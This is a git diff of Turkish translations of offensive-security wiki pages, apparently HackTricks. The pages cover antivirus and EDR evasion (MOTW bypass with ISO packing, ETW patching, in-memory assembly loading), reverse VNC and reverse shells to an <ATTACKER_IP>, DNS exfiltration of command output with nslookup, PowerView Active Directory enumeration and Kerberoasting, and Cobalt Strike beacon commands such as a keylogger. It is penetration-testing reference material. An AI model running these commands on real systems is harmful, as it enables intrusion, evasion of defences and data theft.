> **Güvenilir** bir imzalama sertifikası ile imzalanmış yürütülebilir dosyaların **SmartScreen'i tetiklemeyeceğini** belirtmek önemlidir.
|
||||
|
||||
Payload'larınızın Mark of The Web'den etkilenmesini önlemenin çok etkili bir yolu, bunları bir ISO gibi bir konteynerin içine paketlemektir. Bu, Mark-of-the-Web (MOTW) **non NTFS** hacimlere **uygulanamayacağı** için olur.
|
||||
Payload'larınızın Mark of The Web'i almasını önlemenin çok etkili bir yolu, bunları bir ISO gibi bir konteynerin içine paketlemektir. Bu, Mark-of-the-Web (MOTW) **non NTFS** hacimlere uygulanamayacağı için olur.
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) payload'ları Mark-of-the-Web'den kaçınmak için çıktı konteynerlerine paketleyen bir araçtır.
|
||||
|
||||
Örnek kullanım:
|
||||
```powershell
|
||||
```bash
|
||||
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
|
||||
|
||||
+ o + o + o + o
|
||||
@ -255,15 +284,23 @@ Burada [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) kullanarak yük
|
||||
|
||||
<figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## C# Assembly Yansıması
|
||||
## ETW
|
||||
|
||||
C# ikili dosyalarını belleğe yüklemek bir süredir biliniyor ve AV tarafından yakalanmadan post-exploitation araçlarınızı çalıştırmanın çok iyi bir yolu olmaya devam ediyor.
|
||||
Windows için Olay İzleme (ETW), uygulamaların ve sistem bileşenlerinin **olayları kaydetmesine** olanak tanıyan güçlü bir günlükleme mekanizmasıdır. Ancak, kötü niyetli faaliyetleri izlemek ve tespit etmek için güvenlik ürünleri tarafından da kullanılabilir.
|
||||
|
||||
Yük, diske dokunmadan doğrudan belleğe yükleneceğinden, tüm süreç için yalnızca AMSI'yi yamanmakla ilgilenmemiz gerekecek.
|
||||
AMSI'nin devre dışı bırakıldığı (atlatıldığı) gibi, kullanıcı alanı sürecinin **`EtwEventWrite`** fonksiyonunun hemen geri dönmesi sağlanabilir, böylece herhangi bir olayı kaydetmeden. Bu, fonksiyonu bellekte hemen geri dönecek şekilde yamanarak yapılır ve bu süreç için ETW günlüklemesini etkili bir şekilde devre dışı bırakır.
|
||||
|
||||
Çoğu C2 çerçevesi (sliver, Covenant, metasploit, CobaltStrike, Havoc, vb.) zaten C# derlemelerini doğrudan bellekte çalıştırma yeteneği sağlıyor, ancak bunu yapmanın farklı yolları var:
|
||||
Daha fazla bilgi bulabilirsiniz **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) ve [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
|
||||
|
||||
- **Fork\&Run**
|
||||
## C# Assembly Reflection
|
||||
|
||||
C# ikili dosyalarını bellekte yüklemek bir süredir bilinmektedir ve AV tarafından yakalanmadan post-exploitation araçlarınızı çalıştırmanın çok iyi bir yoludur.
|
||||
|
||||
Yük, diske dokunmadan doğrudan belleğe yükleneceğinden, tüm süreç için AMSI'yi yamalamakla ilgili endişelenmemiz gerekecek.
|
||||
|
||||
Çoğu C2 çerçevesi (sliver, Covenant, metasploit, CobaltStrike, Havoc, vb.) zaten C# derlemelerini doğrudan bellekte çalıştırma yeteneği sunmaktadır, ancak bunu yapmanın farklı yolları vardır:
|
||||
|
||||
- **Fork&Run**
|
||||
|
||||
Bu, **yeni bir fedai süreç oluşturmayı** içerir, post-exploitation kötü niyetli kodunuzu o yeni sürece enjekte eder, kötü niyetli kodunuzu çalıştırır ve işiniz bittiğinde yeni süreci öldürür. Bunun hem avantajları hem de dezavantajları vardır. Fork ve çalıştırma yönteminin avantajı, yürütmenin **Beacon implant sürecimizin dışında** gerçekleşmesidir. Bu, post-exploitation eylemimizde bir şeyler ters giderse veya yakalanırsa, **implantımızın hayatta kalma şansının çok daha yüksek** olduğu anlamına gelir. Dezavantajı ise **Davranışsal Tespitler** tarafından yakalanma şansınızın **daha yüksek** olmasıdır.
|
||||
|
||||
@ -271,36 +308,46 @@ Bu, **yeni bir fedai süreç oluşturmayı** içerir, post-exploitation kötü n
|
||||
|
||||
- **Inline**
|
||||
|
||||
Bu, post-exploitation kötü niyetli kodu **kendi sürecine** enjekte etmekle ilgilidir. Bu şekilde, yeni bir süreç oluşturmak ve AV tarafından taranmasını sağlamak zorunda kalmazsınız, ancak dezavantajı, yükünüzün yürütülmesinde bir şeyler ters giderse, **beacon'ınızı kaybetme şansınızın çok daha yüksek** olmasıdır çünkü çökebilir.
|
||||
Bu, post-exploitation kötü niyetli kodu **kendi sürecine** enjekte etmekle ilgilidir. Bu şekilde, yeni bir süreç oluşturma ve AV tarafından taranma zorunluluğundan kaçınabilirsiniz, ancak dezavantajı, yükünüzün yürütülmesinde bir şeyler ters giderse, **beacon'ınızı kaybetme şansınızın çok daha yüksek** olmasıdır, çünkü çökebilir.
|
||||
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> C# Assembly yükleme hakkında daha fazla bilgi edinmek istiyorsanız, lütfen bu makaleye göz atın [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) ve onların InlineExecute-Assembly BOF'una ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
|
||||
C# Derlemelerini **PowerShell'den** de yükleyebilirsiniz, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) ve [S3cur3th1sSh1t'in videosuna](https://www.youtube.com/watch?v=oe11Q-3Akuk) göz atın.
|
||||
Ayrıca C# Derlemelerini **PowerShell'den** yükleyebilirsiniz, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) ve [S3cur3th1sSh1t'in videosuna](https://www.youtube.com/watch?v=oe11Q-3Akuk) göz atın.
|
||||
|
||||
## Diğer Programlama Dillerini Kullanma
|
||||
|
||||
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) adresinde önerildiği gibi, tehlikeye atılmış makineye **Saldırgan Kontrolündeki SMB paylaşımında kurulu olan yorumlayıcı ortamına erişim vererek** diğer dilleri kullanarak kötü niyetli kod çalıştırmak mümkündür.
|
||||
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) önerildiği gibi, kötü niyetli kodu diğer dillerle çalıştırmak mümkündür, bu da tehlikeye atılmış makinenin **Saldırgan Kontrolündeki SMB paylaşımında kurulu olan yorumlayıcı ortamına erişim sağlaması** ile mümkündür.
|
||||
|
||||
Yorumlayıcı İkili Dosyalarına ve SMB paylaşımındaki ortama erişim vererek, tehlikeye atılmış makinenin **belleğinde bu dillerde rastgele kod çalıştırabilirsiniz**.
|
||||
Yorumlayıcı İkili dosyalarına ve SMB paylaşımındaki ortama erişim izni vererek, **bu dillerdeki rastgele kodu tehlikeye atılmış makinenin belleğinde çalıştırabilirsiniz.**
|
||||
|
||||
Repo, Defender'ın hala betikleri taradığını ancak Go, Java, PHP vb. kullanarak **statik imzaları atlatma konusunda daha fazla esnekliğe sahip olduğumuzu** belirtiyor. Bu dillerde rastgele obfuscate edilmemiş ters shell betikleri ile yapılan testler başarılı olmuştur.
|
||||
Repo, Defender'ın hala betikleri taradığını ancak Go, Java, PHP vb. kullanarak **statik imzaları atlatma konusunda daha fazla esneklik sağladığımızı** belirtmektedir. Bu dillerde rastgele obfuscate edilmemiş ters kabuk betikleri ile yapılan testler başarılı olmuştur.
|
||||
|
||||
## TokenStomping
|
||||
|
||||
Token stomping, bir saldırganın **erişim belirtecini veya bir güvenlik ürünü (örneğin EDR veya AV)** manipüle etmesine olanak tanıyan bir tekniktir, böylece sürecin ölme olasılığını azaltır, ancak kötü niyetli faaliyetleri kontrol etme izinlerine sahip olmaz.
|
||||
|
||||
Bunu önlemek için Windows, **dış süreçlerin** güvenlik süreçlerinin belirteçleri üzerinde tutamaç almasını **engelleyebilir**.
|
||||
|
||||
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
|
||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
|
||||
- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
|
||||
|
||||
## Gelişmiş Kaçış
|
||||
|
||||
Kaçış çok karmaşık bir konudur, bazen tek bir sistemde birçok farklı telemetri kaynağını dikkate almanız gerekir, bu nedenle olgun ortamlarda tamamen tespit edilmeden kalmak neredeyse imkansızdır.
|
||||
Kaçış, çok karmaşık bir konudur, bazen tek bir sistemde birçok farklı telemetri kaynağını dikkate almanız gerekir, bu nedenle olgun ortamlarda tamamen tespit edilmeden kalmak neredeyse imkansızdır.
|
||||
|
||||
Karşılaştığınız her ortamın kendi güçlü ve zayıf yönleri olacaktır.
|
||||
|
||||
Daha Gelişmiş Kaçış tekniklerine dair bir fikir edinmek için [@ATTL4S](https://twitter.com/DaniLJ94) tarafından yapılan bu konuşmayı izlemenizi şiddetle tavsiye ederim.
|
||||
Daha Gelişmiş Kaçış tekniklerine dair bir temel edinmek için [@ATTL4S](https://twitter.com/DaniLJ94) tarafından verilen bu konuşmayı izlemenizi şiddetle tavsiye ederim.
|
||||
|
||||
{{#ref}}
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
Bu da [@mariuszbit](https://twitter.com/mariuszbit) tarafından yapılan Kaçış Derinliği üzerine başka bir harika konuşmadır.
|
||||
Bu da [@mariuszbit](https://twitter.com/mariuszbit) tarafından Kaçış Derinliği üzerine yapılan başka bir harika konuşmadır.
|
||||
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
@ -308,14 +355,14 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
|
||||
## **Eski Teknikler**
|
||||
|
||||
### **Defender'ın kötü niyetli bulduğu kısımları kontrol etme**
|
||||
### **Defender'ın kötü niyetli bulduğu parçaları kontrol etme**
|
||||
|
||||
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) kullanabilirsiniz, bu araç **ikili dosyanın kısımlarını kaldıracak** ve **Defender'ın** kötü niyetli bulduğu kısmı bulana kadar devam edecek ve bunu size ayıracaktır.\
|
||||
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) kullanabilirsiniz, bu araç **ikili dosyanın parçalarını kaldıracak** ve **Defender'ın** kötü niyetli bulduğu parçayı bulana kadar devam edecektir.\
|
||||
Aynı şeyi yapan başka bir araç ise [**avred**](https://github.com/dobin/avred) olup, hizmeti [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) adresinde sunmaktadır.
|
||||
|
||||
### **Telnet Sunucusu**
|
||||
|
||||
Windows 10'a kadar, tüm Windows'lar **Telnet sunucusu** ile birlikte geliyordu ve bunu (yönetici olarak) şu şekilde yükleyebiliyordunuz:
|
||||
Windows 10'a kadar, tüm Windows'lar **Telnet sunucusu** ile birlikte geliyordu ve bunu (yönetici olarak) yükleyebiliyordunuz:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
@ -334,20 +381,20 @@ Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.
|
||||
|
||||
**HOST'TA**: _**winvnc.exe**_ dosyasını çalıştırın ve sunucuyu yapılandırın:
|
||||
|
||||
- _Disable TrayIcon_ seçeneğini etkinleştirin
|
||||
- _VNC Password_ kısmına bir şifre belirleyin
|
||||
- _View-Only Password_ kısmına bir şifre belirleyin
|
||||
- _TrayIcon'u Devre Dışı Bırak_ seçeneğini etkinleştirin
|
||||
- _VNC Şifresi_ kısmına bir şifre girin
|
||||
- _Sadece Görüntüleme Şifresi_ kısmına bir şifre girin
|
||||
|
||||
Ardından, ikili _**winvnc.exe**_ ve **yeni** oluşturulan _**UltraVNC.ini**_ dosyasını **kurbanın** içine taşıyın.
|
||||
|
||||
#### **Ters bağlantı**
|
||||
|
||||
**Saldırgan**, kendi **host'unda** `vncviewer.exe -listen 5900` ikilisini çalıştırmalı, böylece ters **VNC bağlantısını** yakalamaya **hazır** olacaktır. Ardından, **kurban** içinde: winvnc daemon'ını `winvnc.exe -run` ile başlatın ve `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` komutunu çalıştırın.
|
||||
**saldırgan**, kendi **host'unda** `vncviewer.exe -listen 5900` ikilisini çalıştırmalı, böylece ters **VNC bağlantısını** yakalamaya **hazır** olacaktır. Ardından, **kurban** içinde: winvnc daemon'ını `winvnc.exe -run` ile başlatın ve `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` komutunu çalıştırın.
|
||||
|
||||
**UYARI:** Gizliliği korumak için bazı şeyleri yapmamalısınız
|
||||
|
||||
- `winvnc` zaten çalışıyorsa başlatmayın, aksi takdirde bir [popup](https://i.imgur.com/1SROTTl.png) tetiklersiniz. Çalışıp çalışmadığını `tasklist | findstr winvnc` ile kontrol edin
|
||||
- Aynı dizinde `UltraVNC.ini` olmadan `winvnc` başlatmayın, aksi takdirde [yapılandırma penceresi](https://i.imgur.com/rfMQWcf.png) açılır
|
||||
- Aynı dizinde `UltraVNC.ini` olmadan `winvnc` başlatmayın, aksi takdirde [konfigürasyon penceresi](https://i.imgur.com/rfMQWcf.png) açılır
|
||||
- Yardım için `winvnc -h` komutunu çalıştırmayın, aksi takdirde bir [popup](https://i.imgur.com/oc18wcu.png) tetiklersiniz
|
||||
|
||||
### GreatSCT
|
||||
@ -370,11 +417,11 @@ sel lport 4444
|
||||
generate #payload is the default name
|
||||
#This will generate a meterpreter xml and a rcc file for msfconsole
|
||||
```
|
||||
Şimdi **lister'ı başlatın** `msfconsole -r file.rc` ile ve **xml yükünü** şu şekilde **çalıştırın**:
|
||||
Şimdi **lister'ı başlatın** `msfconsole -r file.rc` ile ve **xml yükünü** **çalıştırın**:
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
```
|
||||
**Mevcut defender süreci çok hızlı bir şekilde sonlandıracaktır.**
|
||||
**Mevcut savunucu süreci çok hızlı bir şekilde sonlandıracaktır.**
|
||||
|
||||
### Kendi ters kabuğumuzu derlemek
|
||||
|
||||
@ -386,7 +433,7 @@ Bunu ile derleyin:
|
||||
```
|
||||
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
|
||||
```
|
||||
Bunu şunlarla kullanın:
|
||||
Bunu ile kullanın:
|
||||
```
|
||||
back.exe <ATTACKER_IP> <PORT>
|
||||
```
|
||||
@ -494,7 +541,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
|
||||
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
||||
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
||||
|
||||
### Python kullanarak injector örneği:
|
||||
### Python kullanarak injector örneği oluşturma:
|
||||
|
||||
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
||||
|
||||
@ -525,6 +572,6 @@ https://github.com/praetorian-code/vulcan
|
||||
```
|
||||
### Daha Fazla
|
||||
|
||||
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
|
||||
## Sistem bilgisi
|
||||
|
||||
### Sürüm ve Yamanlama bilgisi
|
||||
### Sürüm ve Yamanlar bilgisi
|
||||
```bash
|
||||
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
|
||||
systeminfo
|
||||
@ -23,7 +23,7 @@ DRIVERQUERY #3rd party driver vulnerable?
|
||||
```bash
|
||||
set #List all environment variables
|
||||
```
|
||||
Bazı çevresel değişkenleri vurgulamak için:
|
||||
Bazı çevresel değişkenler:
|
||||
|
||||
- **COMPUTERNAME**: Bilgisayarın adı
|
||||
- **TEMP/TMP:** Geçici klasör
|
||||
@ -315,7 +315,7 @@ who^ami #whoami
|
||||
### DOSfuscation
|
||||
|
||||
Obfuscate edilmiş bir CMD satırı oluşturur
|
||||
```powershell
|
||||
```bash
|
||||
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
|
||||
cd Invoke-DOSfuscation
|
||||
Import-Module .\Invoke-DOSfuscation.psd1
|
||||
@ -339,7 +339,7 @@ sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passi
|
||||
```
|
||||
#### Kurban
|
||||
|
||||
**`for /f tokens`** tekniği: Bu, komutları çalıştırmamıza, her satırın ilk X kelimesini almamıza ve bunu DNS üzerinden sunucumuza göndermemize olanak tanır.
|
||||
**`for /f tokens`** tekniği: Bu, komutları yürütmemize, her satırın ilk X kelimesini almamıza ve bunu DNS üzerinden sunucumuza göndermemize olanak tanır.
|
||||
```bash
|
||||
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
|
||||
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
|
||||
@ -354,7 +354,7 @@ Ayrıca **çıktıyı** yönlendirebilir ve ardından **okuyabilirsiniz**.
|
||||
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
|
||||
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
|
||||
```
|
||||
## C kodundan CMD'yi çağırma
|
||||
## C kodundan CMD çağırma
|
||||
```c
|
||||
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
|
||||
|
||||
|
||||
File diff suppressed because one or more lines are too long
@ -6,8 +6,8 @@ PowerView'in en güncel versiyonu her zaman PowerSploit'in dev dalında olacakt
|
||||
|
||||
[**SharpView**](https://github.com/tevora-threat/SharpView), [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) için bir .NET portudur.
|
||||
|
||||
### Hızlı sayım
|
||||
```powershell
|
||||
### Hızlı numaralandırma
|
||||
```bash
|
||||
Get-NetDomain #Basic domain info
|
||||
#User info
|
||||
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
|
||||
@ -38,7 +38,7 @@ Invoke-UserHunter -CheckAccess
|
||||
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
|
||||
```
|
||||
### Alan bilgisi
|
||||
```powershell
|
||||
```bash
|
||||
# Domain Info
|
||||
Get-Domain #Get info about the current domain
|
||||
Get-NetDomain #Get info about the current domain
|
||||
@ -61,7 +61,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
|
||||
Get-ForestDomain
|
||||
```
|
||||
### Kullanıcılar, Gruplar, Bilgisayarlar ve OU'lar
|
||||
```powershell
|
||||
```bash
|
||||
# Users
|
||||
## Get usernames and their groups
|
||||
Get-DomainUser -Properties name, MemberOf | fl
|
||||
@ -127,7 +127,7 @@ Get-NetOU #Get Organization Units
|
||||
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
|
||||
```
|
||||
### Giriş ve Oturumlar
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
|
||||
Get-NetSession -ComputerName <servername> #Get active sessions on the host
|
||||
Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))
|
||||
@ -136,9 +136,9 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
|
||||
```
|
||||
### Grup Politika Nesnesi - GPO'lar
|
||||
|
||||
Eğer bir saldırganın **bir GPO üzerinde yüksek ayrıcalıkları** varsa, **bir kullanıcıya izin ekleyerek**, **bir yerel yönetici kullanıcısı ekleyerek** veya **bir eylemi gerçekleştirmek için bir zamanlanmış görev oluşturarak** bunu **privesc** için kullanabilme ihtimali vardır.\
|
||||
Eğer bir saldırganın **bir GPO üzerinde yüksek yetkileri** varsa, **bir kullanıcıya izin ekleyerek**, **bir yerel yönetici kullanıcısı ekleyerek** veya **bir eylemi gerçekleştirmek için bir zamanlanmış görev oluşturarak** bunu **privesc** için kullanabilme ihtimali vardır.\
|
||||
[**Bununla ilgili daha fazla bilgi ve nasıl istismar edileceği için bu bağlantıyı takip edin**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation).
|
||||
```powershell
|
||||
```bash
|
||||
#GPO
|
||||
Get-DomainGPO | select displayName #Check the names for info
|
||||
Get-NetGPO #Get all policies with details
|
||||
@ -178,7 +178,7 @@ Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectNam
|
||||
{{#endref}}
|
||||
|
||||
### ACL
|
||||
```powershell
|
||||
```bash
|
||||
#Get ACLs of an object (permissions of other objects over the indicated one)
|
||||
Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs
|
||||
|
||||
@ -199,13 +199,13 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser
|
||||
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
|
||||
```
|
||||
### Paylaşılan dosyalar ve klasörler
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
|
||||
Find-DomainShare -CheckShareAccess #Search readable shares
|
||||
Find-InterestingDomainShareFile #Find interesting files, can use filters
|
||||
```
|
||||
### Alan Güveni
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
|
||||
Get-DomainTrust #Same
|
||||
Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
|
||||
@ -221,8 +221,8 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between
|
||||
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
|
||||
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
|
||||
```
|
||||
### Düşük**hanging fruit**
|
||||
```powershell
|
||||
### Düşük**-**hanging meyve**
|
||||
```bash
|
||||
#Check if any user passwords are set
|
||||
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
|
||||
|
||||
@ -260,7 +260,7 @@ Invoke-UserHunter -GroupName "RDPUsers"
|
||||
Invoke-UserHunter -Stealth
|
||||
```
|
||||
### Silinmiş nesneler
|
||||
```powershell
|
||||
```bash
|
||||
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
|
||||
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
|
||||
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||
@ -268,22 +268,22 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||
### MISC
|
||||
|
||||
#### SID to Name
|
||||
```powershell
|
||||
```bash
|
||||
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
|
||||
```
|
||||
#### Kerberoast
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
|
||||
```
|
||||
#### Farklı kimlik bilgileri kullanın (argüman)
|
||||
```powershell
|
||||
```bash
|
||||
# use an alterate creadential for any function
|
||||
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
|
||||
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
||||
Get-DomainUser -Credential $Cred
|
||||
```
|
||||
#### Bir kullanıcıyı taklit et
|
||||
```powershell
|
||||
```bash
|
||||
# if running in -sta mode, impersonate another credential a la "runas /netonly"
|
||||
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
||||
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
||||
@ -292,7 +292,7 @@ Invoke-UserImpersonation -Credential $Cred
|
||||
Invoke-RevertToSelf
|
||||
```
|
||||
#### Değerleri Ayarla
|
||||
```powershell
|
||||
```bash
|
||||
# set the specified property for the given user identity
|
||||
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
|
||||
# Set the owner of 'dfm' in the current domain to 'harmj0y'
|
||||
|
||||
@ -15,9 +15,9 @@ Bu dinleyicilerin beacon'ları doğrudan C2 ile konuşmak zorunda değildir, di
|
||||
* **TCP beacon, seçilen portta bir dinleyici ayarlayacaktır**. TCP beacon'a bağlanmak için başka bir beacon'dan `connect <ip> <port>` komutunu kullanın.
|
||||
* **smb beacon, seçilen isimle bir pipename'de dinleyecektir**. SMB beacon'a bağlanmak için `link [target] [pipe]` komutunu kullanmanız gerekir.
|
||||
|
||||
### Payload'ları Oluşturma ve Barındırma
|
||||
### Yükleri Oluşturma ve Barındırma
|
||||
|
||||
#### Dosyalarda Payload Oluşturma
|
||||
#### Dosyalarda yük oluşturma
|
||||
|
||||
`Saldırılar -> Paketler ->`
|
||||
|
||||
@ -26,44 +26,49 @@ Bu dinleyicilerin beacon'ları doğrudan C2 ile konuşmak zorunda değildir, di
|
||||
* **`Windows Executable`** bir .exe, .dll veya hizmet .exe için
|
||||
* **`Windows Executable (S)`** **stageless** bir .exe, .dll veya hizmet .exe için (stageless, staged'den daha iyidir, daha az IoC)
|
||||
|
||||
#### Payload'ları Oluşturma ve Barındırma
|
||||
#### Yükleri Oluşturma ve Barındırma
|
||||
|
||||
`Saldırılar -> Web Drive-by -> Scripted Web Delivery (S)` Bu, cobalt strike'dan beacon'ı indirmek için bitsadmin, exe, powershell ve python gibi formatlarda bir script/yürütülebilir dosya oluşturacaktır.
|
||||
`Saldırılar -> Web Drive-by -> Scripted Web Delivery (S)` Bu, Cobalt Strike'dan beacon'ı indirmek için bitsadmin, exe, powershell ve python gibi formatlarda bir script/yürütülebilir dosya oluşturur.
|
||||
|
||||
#### Payload'ları Barındırma
|
||||
#### Yükleri Barındırma
|
||||
|
||||
Eğer barındırmak istediğiniz dosya zaten bir web sunucusunda varsa, `Saldırılar -> Web Drive-by -> Dosya Barındır` kısmına gidin ve barındırılacak dosyayı ve web sunucu yapılandırmasını seçin.
|
||||
Barındırmak istediğiniz dosyaya sahip iseniz, `Saldırılar -> Web Drive-by -> Dosyayı Barındır` kısmına gidin ve barındırılacak dosyayı ve web sunucu yapılandırmasını seçin.
|
||||
|
||||
### Beacon Seçenekleri
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"># Yerel .NET ikili dosyasını çalıştır
|
||||
execute-assembly </path/to/executable.exe>
|
||||
# 1MB'den büyük assembly'leri yüklemek için, malleable profilin 'tasks_max_size' özelliğinin değiştirilmesi gerekir.
|
||||
|
||||
# Ekran görüntüleri
|
||||
printscreen # PrintScr yöntemiyle tek bir ekran görüntüsü al
|
||||
printscreen # PrintScr yöntemi ile tek bir ekran görüntüsü al
|
||||
screenshot # Tek bir ekran görüntüsü al
|
||||
screenwatch # Masaüstünün periyodik ekran görüntülerini al
|
||||
## Görüntüle -> Ekran Görüntüleri'ne gidin
|
||||
## Görmek için Görünüm -> Ekran Görüntüleri'ne gidin
|
||||
|
||||
# keylogger
|
||||
keylogger [pid] [x86|x64]
|
||||
## Görüntüle > Tuş Vuruşları'na gidin, basılan tuşları görün
|
||||
## Görünüm > Tuş Vuruşları ile basılan tuşları görün
|
||||
|
||||
# portscan
|
||||
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Başka bir süreç içinde portscan eylemi enjekte et
|
||||
portscan [targets] [ports] [arp|icmp|none] [max connections]
|
||||
|
||||
# Powershell
|
||||
# Powershell modülünü içe aktar
|
||||
## Powershell modülünü içe aktar
|
||||
powershell-import C:\path\to\PowerView.ps1
|
||||
powershell <buraya powershell komutunu yazın>
|
||||
powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
|
||||
powershell <buraya powershell komutunu yazın> # Bu, en yüksek desteklenen powershell sürümünü kullanır (opsec değil)
|
||||
powerpick <cmdlet> <args> # Bu, spawnto tarafından belirtilen bir kurban süreci oluşturur ve daha iyi opsec için UnmanagedPowerShell'ı içine enjekte eder (loglama yok)
|
||||
powerpick Invoke-PrivescAudit | fl
|
||||
psinject <pid> <arch> <commandlet> <arguments> # Bu, belirtilen sürece UnmanagedPowerShell'ı enjekte eder.
|
||||
|
||||
# Kullanıcı taklidi
|
